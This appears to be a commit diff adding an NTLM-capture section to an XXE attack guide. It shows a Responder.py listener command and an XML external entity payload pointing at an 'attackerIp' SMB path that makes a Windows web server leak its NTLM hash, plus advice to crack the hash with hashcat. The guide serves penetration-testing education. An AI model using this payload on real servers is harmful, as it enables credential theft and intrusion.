Merge pull request #333 from looCiprian/master
Updated XXE attacks by adding NTLM
This commit is contained in:
commit
e445f7a87c
@ -423,6 +423,25 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
|||||||
|
|
||||||
![](<../.gitbook/assets/image (531).png>)
|
![](<../.gitbook/assets/image (531).png>)
|
||||||
|
|
||||||
|
### Getting NTML
|
||||||
|
|
||||||
|
On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler:
|
||||||
|
|
||||||
|
```
|
||||||
|
Responder.py -I eth0 -v
|
||||||
|
```
|
||||||
|
|
||||||
|
and by sending the following request
|
||||||
|
|
||||||
|
```
|
||||||
|
<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||||
|
<data>&example;</data>
|
||||||
|
```
|
||||||
|
|
||||||
|
Then you can try to crack the hash using hashcat
|
||||||
|
|
||||||
|
|
||||||
# Hidden XXE Surfaces
|
# Hidden XXE Surfaces
|
||||||
|
|
||||||
## XInclude
|
## XInclude
|
||||||
|
Loading…
Reference in New Issue
Block a user